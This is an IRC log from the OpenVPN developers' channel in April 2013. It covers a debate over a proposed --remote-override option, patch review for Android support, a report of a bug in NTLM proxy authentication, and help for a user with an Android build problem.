I have a quick(?) static linking question at some appropriate time, still not libstdc++ or libgcc in the build 13:39 <@dazo> jamesyonan: okay ... but if the client just did: --config foo --remote user-selected-remote.tld ... wouldn't that work too? 13:41 <@mattock> is there no man-page entry for --remote-override? 13:41 <@mattock> can't find any 13:41 <@mattock> in my patched "master" 13:41 <@cron2> ack, no man page entry in svn 13:42 <@dazo> mattock: it's a new option ... so it should be in the patch 13:42 <@jamesyonan> dazo: but that would just add the user-selected host to the existing remote list 13:44 <@mattock> jamesyonan: so if there were remotes in the config file, anything passed with --remote would be at the end? 13:44 <@mattock> and --remote-override would make OpenVPN disregard any remotes in the config? 13:45 <@jamesyonan> basically yes 13:45 <@dazo> jamesyonan: ahh, true .... but what happens then if you have --remote serverA --remote serverB --remote-override serverOVERRIDE .... would that really override the two first remotes? 13:45 <@dazo> + re.remote = options->remote_override ? options->remote_override : p[1]; 13:45 <@cron2> dazo: yes, it would 13:46 <@jamesyonan> the goal is to provide a reasonable way for users to control which server they are hitting 13:47 <@ecrist> don't they already have that, based on order? 13:47 <@mattock> for VPN services this is very useful 13:47 <@mattock> afaics 13:47 <@dazo> agreed ... I just don't see how this override really functions in regards to connection profiles 13:48 <@jamesyonan> the AS clients can be configured to show a drop-down list of different regions to connect to, which leverages on this feature 13:48 <@dazo> I don't question the feature itself ... I see the feature as useful in some cases ... I'm wondering about the implementation currently 13:49 <@mattock> jamesyonan: what about connection profiles dazo mentioned earlier? 13:49 <@mattock> what will --remote-override do with them? 13:49 <@mattock> (btw. I can provide a man-page patch for this one, should be straightforward) 13:49 <@dazo> how I understand the code ... with connection profiles, this won't function unless --remote-override is used before --config 13:50 <@cron2> it will override whatevever string is behind a "remote" statement in position 1 13:50 <@cron2> inside or outside of a <connection> block 13:50 <@cron2> dazo: why not? 13:50 <@cron2> ah 13:50 <@dazo> cron2: because you have struct remote_entry *re ... which is later on appended via connection_entry_load_re (&options->ce, &re); 13:50 <@cron2> you *always* have to call --remote-override before --config, it won't work if called afterwards 13:50 <@cron2> it's re-writing "connect" statements as they are read 13:51 <@dazo> so if you have done --remote serverA --remote-override serverC --remote serverB .... only the last one will be overridden, afaics 13:51 <@jamesyonan> if connection profiles exist, then you would essentially be replacing all of the remote options in the profile with the overrided remote 13:51 <@cron2> dazo: true, I was mis-reading your example above. 13:51 <@cron2> if it's in the middle of the config, it will affect "everything from that point on" 13:52 <@dazo> which means: --config foo --remote-override serverOVERRIDE won't work as expected .... as we can presume --config contains a remote 13:52 <@jamesyonan> yes but the intent is that the client UI would place the --remote-override on the command line before --config 13:53 <@dazo> exactly ... which means --remote serverOVERRIDE --config foo .... would have the same effect, right? 13:54 <@cron2> no, that would just add another profile to the start, and if connecting there fails, it would try the rest 13:54 <@dazo> but ... that would happen too with the --remote-override patch 13:55 <@cron2> no, remote-override will override *all* remotes in there, not just "add one to the head of the list" 13:55 <@dazo> ahh, right! 13:57 <@dazo> can I suggest that we improve this patch a bit? That --remote-override is really an override ... that if defined, it will only use the first connection profile and stop trying others .... as if you have --remote-override serverOVERRIDE --remote serverA 1194 --remote serverB 5000 .... the result would be openvpn would try first serverOVERRIDE on port 1194, and then port 500 13:57 <@dazo> 0 13:58 <@mattock> sounds good, if that can be done fairly non-intrusively 13:59 * cron2 leaves that bit to james and dazo to sort out "I'm not writing user interfaces and I'm not exporting profiles" 13:59 <@mattock> jamesyonan: was there a particular reason why --remote-override was implemented this way, instead of the way dazo suggested above? 14:01 <@jamesyonan> but that would break adaptive UDP then TCP connection strategies 14:01 <@dazo> ahh, right ... didn't think about that 14:02 <@mattock> accept this patch as is with it's flaws, but add docs to man-page? 14:04 <@dazo> I understand there's a need for this feature ... but its semantic is a bit unclear to me .... man-page documentation is needed, but I think I'd like to see this code getting further improvements 14:05 <@mattock> do we have any way to implement this feature without things getting nasty? 14:05 <@dazo> (we have quite a lot of options, several with similar unclear behaviours in specific configurations) 14:06 <@mattock> we don't need to force this patch to Git... the Access Server / OpenVPN Connect will probably have to use a separate Git tree based on 2.3.x anyways 14:06 <@dazo> I think you need a more complex solution to fix this better 14:06 <@mattock> atm 14:06 <@mattock> that was what I thought 14:08 <@mattock> ACK with documentation, or postpone (i.e. NACK)? 14:09 <@jamesyonan> yes, but patch as-is is very simple and accomplishes goal of allowing user to select remote -- not clear to me that it needs to be complexified 14:10 <@mattock> so I guess this is all tied to the option parser rewrite, essentially? 14:10 <@dazo> jamesyonan: based on experiences from #openvpn .... people will definitely misunderstand this feature ... they will have more servers configured, to handle both TCP and UDP and on different ports 14:10 <@cron2> dazo: this might be a reason why the option is undocumented 14:10 <@mattock> cron2: hmm, good point 14:10 <@dazo> jamesyonan: and then someone will try to use --remote-override ... and be surprised that the remote server gets connection attempts on all TCP/UDP ports not configured on that server 14:10 <@mattock> maybe ACK as-is, and take care _not_ to document this :D 14:11 <@dazo> mattock: that's bloating the code, tbh 14:11 <@jamesyonan> right, the feature requires that you set up your servers in different regions to listen on same ports 14:11 <@mattock> hence the smiley 14:12 <@dazo> As I said ... the feature itself is a good feature .... it's the semantics behind the behaviour which needs to be clear 14:13 <@mattock> I'd say let's NACK this for now 14:13 <@mattock> the patch can be included in AS/OpenVPN Connect 14:13 <@mattock> unless this patch is required by some of the later patches? 14:13 <@cron2> no, it's independent of anything else 14:13 <@mattock> ok, good 14:14 <@cron2> but we shouldn't go there if we can avoid it "having private patches to the openvpn code base inside as/connect" 14:14 <@dazo> f.ex ... could we say that --remote-override requires 2 or three args? --remote-override <server> <port> [tcp/udp] .... if two args are used, remote-override takes care of the port number ... and if proto is declared, even that would be overridden ... then you would have a clearer semantic 14:14 <@dazo> cron2++ 14:15 <@dazo> I would strongly argue against just --remote-override <server> .... as that gives an unclear use case 14:17 <@mattock> so that would solve most of the issues? 14:17 <@mattock> without extensive changes 14:17 <@dazo> dont' bother about extensive changes ... a change is a change ;-) 14:18 <@jamesyonan> i believe there's already a separate mechanism for protocol (tcp/udp) override 14:18 <@mattock> dazo: I fear somebody will start implementing this cleanly, and then, half-way through rewriting the config parser gives up :P 14:19 <@dazo> mattock: nah, that won't be needed :) 14:19 <@jamesyonan> and port override is rare -- never actually seen a use case 14:19 <@mattock> ok, good, then I don't mind clean implementation 14:19 <@mattock> jamesyonan: so what about removing the port override feature and replacing it with what was proposed above? 14:20 <@mattock> ah, sorry, it was protocol override 14:21 <@jamesyonan> well the AS client already implements proto override -- so the user can choose TCP, UDP or Adaptive from the UI 14:21 <@jamesyonan> need to look at how this actually passed to openvpn binary 14:21 <@cron2> --proto_force 14:22 <@dazo> I'm just wondering ... wouldn't it be cleaner if the UI provided the --remote lines directly ... and the config file itself didn't contain any --remote lines at all? 14:22 <@jamesyonan> looks like it's using --proto-force option 14:22 <@cron2> --proto-force tcp/udp will disable all connection entries that "mismatch" 14:23 <@mattock> so it's not exactly the same as --remote-override server port protocol 14:24 <@mattock> which would be precise and understandable I think 14:24 <@dazo> --proto-force has a clear semantic 14:24 <@cron2> yes. --remote-override will keep all connection entries, just changing the server. --proto-force will ignore some connection entries, if the proto does not match. But the use cases are different, so I can see why it is so 14:27 <@mattock> and what to do? 14:28 <@mattock> looked like such an innocent patch :P 14:29 <@jamesyonan> we can document that --remote-override only works for identically configured servers 14:30 <@dazo> I have a (not fully tested) proposal in the pipe .... just a sec 14:32 <@dazo> http://www.fpaste.org/N0C4/ 14:33 <@cron2> so where's the documentation for that? 14:33 <@dazo> I'll add that if it's accepted before sending it to the ML 14:33 <@dazo> the syntax here is --remote-override <server> <port> 14:33 <@dazo> except of that, it should be identical 14:34 <@cron2> I'm not sure there is a use case for overriding the port, and I hear that the main objection to the patch under discussion is "it's not clear what it does, as the documentation is missing" 14:35 <@dazo> cron2: for users (which do exist) who uses --remote serverA 1194 --remote serverB 5000 .... --remote-override will not function at all 14:35 <@cron2> with your patch, it would *always* override the port, which is very much not wanted and not useful if you have "remote foo 1194 udp", "remote foo 443 tcp" and just want to override the "foo" 14:35 <@dazo> and that's why I asked this: I'm just wondering ... wouldn't it be cleaner if the UI provided the --remote lines directly ... and the config file itself didn't contain any --remote lines at all? 14:35 <@mattock> jamesyonan? ^ 14:35 <@cron2> that's not how AS and the various clients work today 14:36 <@jamesyonan> I don't think overriding the port makes sense because many people will be using different TCP and UDP ports 14:36 <@jamesyonan> but how would the UI know what the choices are for remote? 14:36 <@dazo> well, how would it know when to use --remote-override? 14:36 <@dazo> and which server to use in that case? 14:36 <@jamesyonan> in most cases, users are not going to need to know the remote server info 14:37 <@dazo> but the AS UI obviously gives the user some options here .... 14:37 <@jamesyonan> this is for the use case where a customer wants to have a drop-down list showing different regions to connect to 14:38 <@mattock> I think we're dealing with two use-cases here, and james' patch fits one 14:38 <@mattock> and dazo's patch fits the other 14:38 <@mattock> can these be combined into one? 14:38 <@dazo> yeah ... and this kind of more complex "choose this server now" scenario isn't really what the option parser is built for 14:39 <@cron2> well, you could do "the port of the remote-override is optional and only overriden if explicitely set", but that makes the code even more complex here, with no defined use case yet 14:40 <@cron2> I can understand the "vpn provider" use case, which ships a .ovpn profile and has a UI setting for "europe / america / asia" which would then override to $region.myprovider.net, using the same list of tcp/443, udp/1194, ... that the .ovpn exported from the server has 14:40 <@mattock> back to "accept the original patch, but document how it works", i.e. only on identically configured servers 14:41 <@dazo> mattock: I can guarantee you that we will get bug tickets on this feature ... even with docs 14:41 <@dazo> I've already closed several tickets where things *are* documented 14:43 <@mattock> so a summary: 14:43 <@mattock> - accepting as-is with docs will confuse users -> bug reports, help requests 14:43 <@mattock> - implementing this cleanly would require an entirely new patch, which would be more complex 14:43 <@mattock> - this could be an additional patch just for the Access Server/OpenVPN Connect 14:44 <@jamesyonan> It makes things a lot simpler if the AS can use an unpatched branch 14:44 <@mattock> I don't think there's necessarily anything wrong with (semi-)private patches, as long as they are kept in sync with Git "master" / 2.3.x 14:44 <@cron2> this "keeping in sync" will be hard as you'll have conflicts if something else is changed nearby 14:44 <@cron2> or something big like a "whitespace cleanup" happens 14:45 <@cron2> let's avoid private patches if possible 14:45 <@jamesyonan> I would rather leave it as undocumented than start a new fork for AS 14:45 <@dazo> and then JJK looks at the code when doing an update of his "OpenVPN Cookbook" .... and document it for us there ;-) 14:45 <@mattock> lol 14:46 <@mattock> I'm sure somebody will notice it and document it eventually 14:46 <@dazo> (like he did with using 'config' inside config files as an 'include' feature) 14:47 <@mattock> I'm leaning towards "postpone, have a good night's sleep and reconsider" :P 14:47 <@dazo> probably makes sense now :) 14:47 <@mattock> one patch, ~80 mins... too much I think 14:48 <@cron2> *sigh*. I wish people would start considering the patches when they appear on the list, not when meeting... 14:48 <@mattock> cron2: +1 14:48 <@mattock> but that's not how it goes :P 14:48 <@dazo> well, _now_ is the time I had available for openvpn hacking .... 14:48 <@mattock> let call this a day... it's getting late 14:49 <@cron2> (*and* this was a very classic bikeshed :-) - for those who don't know, klick to http://red.bikeshed.com/ - use any colour of your choice instead of "red") 14:49 <@vpnHelper> Title: Why Should I Care What Color the Bikeshed Is? (at red.bikeshed.com) 14:49 <@cron2> mattock: you're impatient and pushy today, are you :-) - so how's your windows tests? 14:49 <@mattock> blue? 14:49 <@mattock> I'm tired, 22:49 here 14:49 <@mattock> impatient, yes, pushy, maybe :P 14:50 <@mattock> windows tests: failed, no statically linked libraries, C and Automake-fu too low 14:50 <@cron2> meh 14:51 <@cron2> anyway. I got feedback on the peer-info patch, which is valuable, and I spent the time reviewing plaisthos's stuff, which he won't like when he looks into his mailbox :-) 14:51 <+novaflash> jamesyonan: thanks for the info on AS profiling mode :) 14:51 <@cron2> maybe one of you could actually give me an info about plaisthos' patch 1/5 14:51 <@mattock> novaflash: you got into the community meeting summary 14:51 <+novaflash> oh sh 14:51 <+novaflash> opping 14:51 <@cron2> he's removing the "script-security" warnings. Is this something you agreed on here on IRC before? 14:53 <@dazo> No, I don't think we agreed on such an approach ... but we did at some point talk about a "mute-warning" flag ... where you could select warnings to be ignored ... as many of the warnings are useful if you're not aware of it 14:53 <+novaflash> i figure it makes sense to only issue that warning regarding script security is there is actually a script being specified. otherwise why need the warning? just my 2 zimbabwean dollar cents 14:53 <@dazo> but that was agest ago 14:53 <+novaflash> if* 14:54 <@cron2> ok, I'll catch plaisthos tomorrow and figure that one out 14:54 <@cron2> then - good night folks 14:54 <@dazo> g'night! 14:54 <@mattock> excellent, more patches next week! 14:55 <@mattock> unless people review them on the ml first :P 14:55 <@cron2> yeah, there will be more patches to review, next week :-) - there's a number of open trac tickets that need patching... 14:55 <@mattock> yes, I'm reviewing the tickets myself whenever I got some time to spare 14:55 <@mattock> I'll continue with openvpn-build tomorrow 14:56 <@mattock> + snappy 14:56 <@mattock> summary coming up also, I'll mention that I was being impatient and pushy :P 14:56 <@mattock> apologies 14:56 <@mattock> :D 14:56 <@mattock> -> taking the cat out 14:56 <@mattock> bye all! 14:57 -!- dazo is now known as dazo_afk 15:02 <+novaflash> taking...the... cat out? 15:34 <@cron2> urgh 15:35 * cron2 just found a patch from plaisthos from September 2012 *that I acked* and that was never merged 15:36 <@ecrist> heh 15:53 <@plaisthos> sorry that I could not make it today it today :( Would really liked to be here :/ 16:01 <@plaisthos> cron2: hu? Which one? 16:12 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+o plai] by ChanServ 16:15 -!- Netsplit *.net <-> *.split quits: jamxNL, @plaisthos 16:22 -!- plai is now known as plaisthos 16:29 <@plaisthos> About the remote override 16:30 <@plaisthos> there is already a similar feature in the management 16:31 <@plaisthos> it is called remote-ip-hint 16:33 <@plaisthos> if you speciffy that in the configuration openvpn will ask the management and if no management is there it will just use remote-ip-hint 16:34 <@plaisthos> jamesyonan: does openvpn AS still use that option too? Or could kick that feature out as obscure unused option in favour for remote-override? 16:35 <@jamesyonan> AS does use remote-ip-hint 16:35 <@plaisthos> ah okay 16:36 <@jamesyonan> I believe it's used when the client UI does it's own DNS lookup on the server hostname, and wants to make sure that the openvpn daemon connects to a specific IP address 16:37 <@plaisthos> Yeah it basically does the some. Replace the hostname 16:39 <@jamesyonan> they are implemented differently though 16:39 <@plaisthos> jamesyonan: yeah 16:40 <@plaisthos> but remote-ip-hint would also work with a hostname since it does ce->remote = remote_ip_hint; 16:50 <@plaisthos> I see now the subtle difference :/ 16:50 <@plaisthos> I will write a mail to ml about this 16:51 <@plaisthos> remote_ip_hint will only work for the first iteration through all remotes 17:15 -!- Netsplit *.net <-> *.split quits: Tiaos 17:15 -!- Netsplit over, joins: Tiaos 17:21 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 17:34 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:21 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:34 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 19:45 -!- raidz is now known as raidz_away 20:25 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 20:25 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Fri Apr 26 2013 01:28 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 02:25 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 05:23 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:23 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 05:23 -!- dazo_afk is now known as dazo 08:03 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] 10:55 -!- raidz_away is now known as raidz 11:05 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 12:11 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:41 < kisom> Anyone here developing the iOS client? 12:41 < kisom> I sent a bug report about a week ago to ios@openvpn.net, still haven't gotten any response 12:43 <@mattock> kisom: jamesyonan 12:44 < kisom> mattock: Thx 12:44 <@mattock> in case jamesyonan is just idling, I'd post to forums.openvpn.net into the appropriate section 12:44 <@mattock> he's been fairly active there 12:47 < kisom> OK, I heard rumors the iOS app will be updated pretty soon. I'll give it a few weeks more. 13:47 -!- kingdong [groovy@unaffiliated/kingdong] has joined #openvpn-devel 13:47 < kingdong> hi folks 13:47 < kingdong> there a nasty bug in ntlm auth support 13:47 < kingdong> last version 13:47 <@ecrist> have you reported the bug on the bug tracker? 13:48 < kingdong> the bug is idling in the bugtracker since 2.1.4 ! 13:48 <@ecrist> excellent. 13:48 < kingdong> details here: http://www.morzello.com/index.php/openvpn-ntlm-e-quel-proxy-infame/ 13:48 <@ecrist> that's not our bug tracker 13:48 <@ecrist> !trac 13:48 <@vpnHelper> "trac" is (#1) see https://community.openvpn.net for development information and bug tracker. or (#2) if you have a forum login, use that for trac, its the same database. 13:48 < kingdong> https://community.openvpn.net/openvpn/ticket/94 13:48 <@vpnHelper> Title: #94 (NTLM proxy authentication does not work well) – OpenVPN Community (at community.openvpn.net) 13:49 <@ecrist> kingdong: many times, old bugs get ignored when they don't have traffic or responses 13:49 <@ecrist> my guess is that bug was imported when we moved to track 13:49 <@ecrist> and nobody's ever replied to it 13:49 < kingdong> we ran into this this morning :) 13:49 < kingdong> trying to monkey patch but have some dep issues 13:49 <@ecrist> I'd suggest posting a comment there, and provide details, as many as possible 13:50 < kingdong> would prefer this resorved in the trunk, of course :) 13:50 < kingdong> err *resolved 13:50 <@ecrist> if you can patch it, there's a good chance it'll get imported to the tree, as long as the code is sound 13:51 < kingdong> http://www.morzello.com/repository/network/openvpn-2.1.4-ntlm-patch.zip 13:52 < kingdong> 2.1.4 13:52 <@ecrist> we're not going to patch against 2.1.4 13:52 < kingdong> that an existing patch a found on the interwebs 13:53 <@ecrist> one of two things needs to happen 13:53 <@ecrist> 1) you, or someone, needs to port that patch to the current version of openvpn, and submit it to the mailing list 13:53 <@ecrist> 2) you, or someone, needs to write a new patch using the current version of openvpn 13:53 < kingdong> allright 13:53 < kingdong> ill try 2 13:59 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 14:07 -!- kingdong [groovy@unaffiliated/kingdong] has quit [] 14:43 <@plaisthos> cron2: I will send a corrected version of the android patches to the mailing list later 14:54 <@plaisthos> and someone I will learn how to use git send-email and format-patch 15:06 <@plaisthos> 4/4 is unchanged 15:07 <@plaisthos> Apart from the suggested changes the other changes are only "correct GNU C style whitespace" 15:36 <@cron2> plaisthos: looking forward to it :-) 15:36 <@cron2> (what annoys me a bit is that we actually had some discussion on these patches in the last round, which then disappeared into no clear result and no merging... hrm... we're not organized well enough) 15:38 <@cron2> plaisthos: so the "Patch v3" set is not "proper"? 15:39 <@cron2> (as a side note: I usually test "git send-email" with "--to=$myself" first... last time cc: to James sneaked in, though :-) ) 15:39 <@plaisthos> the patches are fine. 15:39 <@plaisthos> just the [[Patch v3] 1/3] screwed up 15:39 <@plaisthos> and forgetting 4/4 15:40 <@cron2> we'll survive :) 15:40 <@cron2> (and indeed, the last batch had *5* patches :-)) ) 15:40 <@plaisthos> yes 15:40 <@plaisthos> I left out the script stuff 15:41 <@plaisthos> while that is in the android patch set it does not really belong there 15:41 <@cron2> true 15:41 <@plaisthos> When I have time tommorow I will look into the snappy patch 15:41 <@cron2> cool 15:44 <@plaisthos> In the last discussion about the android patches was basically two thing iirc 15:45 <@plaisthos> Ififconfig_order/route_order really needs to be function or can be a #define And the other one is that the use of the management_query_user is confusing 15:46 <@plaisthos> for first I think we can do another patch if we want to change that 15:46 <@plaisthos> and for the second since it now wrapped into a function that should be fine 15:47 <@cron2> yep. This is what sort of annoys me - we lost 3/4 of a year by "forgetting to bring this to a decision" 15:47 <@cron2> our development model works, but is slllooowwwww... and burns more human brain cycles on meta-discussions than on actual coding 15:48 <@plaisthos> and Alon critics about me not doing stuff right and using my own (Android) build system and not doing it is the autconf way 15:48 <@cron2> (no specific ideas how to improve it yet, though - but I do plan to bring together all developers in late summer in Munich and discuss the point) 15:48 <@cron2> "like Fosdem but with better food and a useful meeting room" 15:48 <@plaisthos> :) 15:49 <@plaisthos> Current development model is frustating especially for the bigger non trivial patches 15:49 <@plaisthos> My dual stack are looming around for about 3/4 year now iirc 15:49 <@cron2> yeah 15:50 <@plaisthos> And I want to fix this persist-ip, override-ip, remote-ip-hint mess but I don't like the idea of fixing it twice 15:52 <@plaisthos> I personally dislike the idea of the override and remote-ip hint options 15:53 * cron2 is too tired right now to try to understand that -> off to bed now, but yeah, let's move on to merge all that stuff that we already have 15:53 <@plaisthos> cron2: good night 15:54 <@cron2> yeah, good night *yawn* 16:05 <+pekster> What's the deal with the remote-override stuff? I lurked yesterday, but don't really get why it's necessary. I see the benefit from the "provier" model, but why not just dynamically add --remote lines based on what GUI junk the app wants? 16:14 <@plaisthos> pekster: it makes sense if you view configs are immutable objects given a to client 16:15 <+pekster> But... they're not. It's not even that hard to dynamically generate one from a template (or just append it to the args really) if that's the use-case. Especially if this "frontend app" is already coding support for fancy reginal drop-downs 16:15 <+pekster> I dunno, it just sounds lazy to me for a programmer to design reginal support but then be unwilling to do some minimal parsing to the command launched 16:15 <+pekster> regional* 16:33 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 16:33 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 19:13 -!- raidz is now known as raidz_away --- Day changed Sat Apr 27 2013 02:10 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:52 <@cron2> pekster: well, we operate with what we have, and openvpn sits somewhere between openvpn-AS and the commercial and free clients... and right now, the model how AS exports configs and the commercial clients can do overrides is *this*... 04:53 <@cron2> and if this is a feature james wants, and adding it will avoid having another source repo split in the future, it's a good thing - even if the feature itself might be slightly misguided (but if we start with *that*, half the options inside openvpn should go) 06:40 * plaisthos agress with cron2 06:41 -!- novaflash is now known as novaflash_away 06:53 -!- novaflash_away is now known as novaflash 06:59 -!- novaflash is now known as novaflash_away 07:02 -!- novaflash_away is now known as novaflash 08:03 -!- novaflash is now known as novaflash_away 08:05 -!- novaflash_away is now known as novaflash 09:13 -!- mattock is now known as mattock_afk 09:13 -!- mattock_afk is now known as mattock 11:47 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:53 <+pekster> cron2: Yea, repo split is bad, I get that 12:54 <+pekster> If making the manpage even more unweildly is an issue, maybe such "dev-only" features can be dropped somewhere else where it won't get in the way of normal users 15:32 <@cron2> that would actually be a great project - split the manpage into multiple pages, like one for "basic overview", one for "client side", one for "server" and one for "here's the reference manual"... 15:36 <+pekster> openvpn-subfeature(8) or something? 15:38 <+pekster> (for various subfeatures, naturally) 15:41 <@cron2> something like that, yeah. But it's lots of work and needs someone who is good at technical writing, not just "good at listing facts" 15:42 <+pekster> Right, and it needs a decent layout so like features are together without too much fragmentation 15:44 <+pekster> I might take a stab at it. Thesedays I just find features by seaching for --feature, but naturally that only works if you know what you want in advnace 17:16 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 258 seconds] 17:17 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 17:19 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 18:32 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 18:32 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Sun Apr 28 2013 04:57 -!- mattock is now known as mattock_afk 06:03 -!- mattock_afk is now known as mattock 06:27 <@cron2> plaisthos: v3 3/3 looks reasonably, but there's a few more things :-) - I think you should use "CLEAR(up) + strncmp(up.username)" in the wrapper (just to be save), and there's a now-unused "struct user_pass up;" left in create_socket() - which might benefit somewhat from a comment explaining what this magic stuff is doing, like /* pass socket FD to management interface to pass on to VPN API as "protected socket" */ 06:46 <@plaisthos> cron2: okay will do 06:46 <@plaisthos> at the moment I am fighting with javas crypto classes 06:46 <@plaisthos> "How hard can it be to display the CN of a certificate" 06:47 <@cron2> arbitrarily hard :-) 06:47 <@plaisthos> yeah 06:47 <@plaisthos> obviously 06:47 <@cron2> (comments sent by mail as well, I found a few other bits to nag about) 06:48 <@plaisthos> cron2: Will look into it later today 06:48 <@cron2> minor things really 06:49 <@plaisthos> pff who needs strdup if you can roll your own? %) 07:10 <@plaisthos> Subject: 1.2.840.113549.1.9.1=#161273616d756c69406f70656e76706e2e6e6574,CN=OpenVPN connectivity test server CA,O=OpenVPN community project,L=Pleasanton,ST=California,C=US 07:10 <@plaisthos> is the subject of the ca really that strange? 09:20 <@plaisthos> I must have cherry picked the wrong patch for the v3 patchset 09:43 <@plaisthos> and this time the subject looks good too 10:06 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 10:06 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:11 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 11:18 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:19 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has left #openvpn-devel [] 13:24 <@cron2> mmmh 13:25 * cron2 can't merge the android patches 13:25 <@cron2> "that would create a conflict with the svn patches!!" :-) 14:13 <@plaisthos> cron2: yes 14:13 <@plaisthos> it is the IV_PLATFORM=android bit 14:13 <@plaisthos> which both patches modify 15:07 <@cron2> exactly this :-) (I didn't try to merge yet, it was quite obvious from just looking at it) 20:19 -!- newborn [~TOSHIBA@123.68.143.48] has joined #openvpn-devel 20:20 -!- newborn [~TOSHIBA@123.68.143.48] has left #openvpn-devel [] --- Day changed Mon Apr 29 2013 03:26 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 03:41 <@vpnHelper> RSS Update - tickets: #286: OpenVPN does not load the GUI correctly on <https://community.openvpn.net/openvpn/ticket/286> 03:45 <@d12fk> hehe the hardware bragging in the ticket is amusing 03:47 <@cron2> maybe it's a former mac user that hasn't found the right mouse button yet 03:48 <@d12fk> just replied exactly that 03:48 <@d12fk> well not exactly... =) 06:46 -!- NielsKram [~NielsKram@ip4da385d0.direct-adsl.nl] has joined #openvpn-devel 07:33 <@mattock> not sure how many of you have been looking at the weekly summaries I've written (primarily for the company guys): https://community.openvpn.net/openvpn/wiki/OpenVPN2013 07:33 <@vpnHelper> Title: OpenVPN2013 – OpenVPN Community (at community.openvpn.net) 07:33 <@mattock> might turn out somewhat useful in some cases 07:33 <@mattock> I try to send them every Monday 07:40 <@cron2> I think I've read it once and then forgot again :-/ 07:41 <@mattock> good thing I sent I reminder, then :D 07:45 < NielsKram> Hello all,, i made some chances in the ICS_OpenVPn App by schwabe. But when i try to connect to my openVPN server i get a error writing minivpn binary error in my application Log. Does anybody in here knows how to fix this? 07:46 <@cron2> that, of course, depends on what changes you made... 07:48 < NielsKram> Nothing to the core of the OpenVPN app. Just visual stuff 07:49 <@plaisthos> NielsKram: read the Readme 07:49 <@plaisthos> NielsKram: Seriously there so many people asking these question that there is a FAQ in there 07:49 < NielsKram> I read the readme =/ 07:50 <@cron2> there's a FAQ about "I modified the binary and then it broke"? Whoa, that's an active community 07:50 <@plaisthos> cron2: no more I like "I build the java part and now it is complaining it can find the native code part" 07:52 <@plaisthos> NielsKram: http://code.google.com/r/nielskramerr-ics-openvpn-clone/source/browse/README.txt 07:52 < NielsKram> The only thing i did different is use ndk version 8e but sorry to bother you. 07:52 <@vpnHelper> Title: README.txt - nielskramerr-ics-openvpn-clone - Extended to user requirements - Google Project Hosting (at code.google.com) 07:52 <@plaisthos> NielsKram: that one? 07:52 <@plaisthos> especially the part: 07:52 <@plaisthos> Do ./build-native.(sh|bat) in the root directory of the project. 07:52 <@plaisthos> You may need to refresh the project and clean the project in eclipse to have the libraries included the resulting apk. 07:53 < NielsKram> I have but that is not my google code. 07:53 <@plaisthos> NielsKram: what do mean with "In your google code"? 07:54 <@plaisthos> It is in the current tip version of ics-openvpn 07:54 <@plaisthos> NielsKram: it is even in your copy where I gave the link :) 07:55 < NielsKram> Ok, well i used https://github.com/schwabe/ics-openvpn 07:55 <@vpnHelper> Title: schwabe/ics-openvpn · GitHub (at github.com) 07:55 <@plaisthos> NielsKram: that is a git clone of the mercurial repository but the README.txt is there too 07:56 < NielsKram> Yes and again i have executed the command in the README. and cleaned/builded my project. 07:56 <@plaisthos> NielsKram: that repo is a clone done by hg push git+ssh://git@github.com:schwabe/ics-openvpn.git 07:57 < NielsKram> Ok well i think i have installed the NDK wrong then. Will have to google that, thanks anyways. 08:00 <@plaisthos> and the use 8b instead of anything newer is serious 08:00 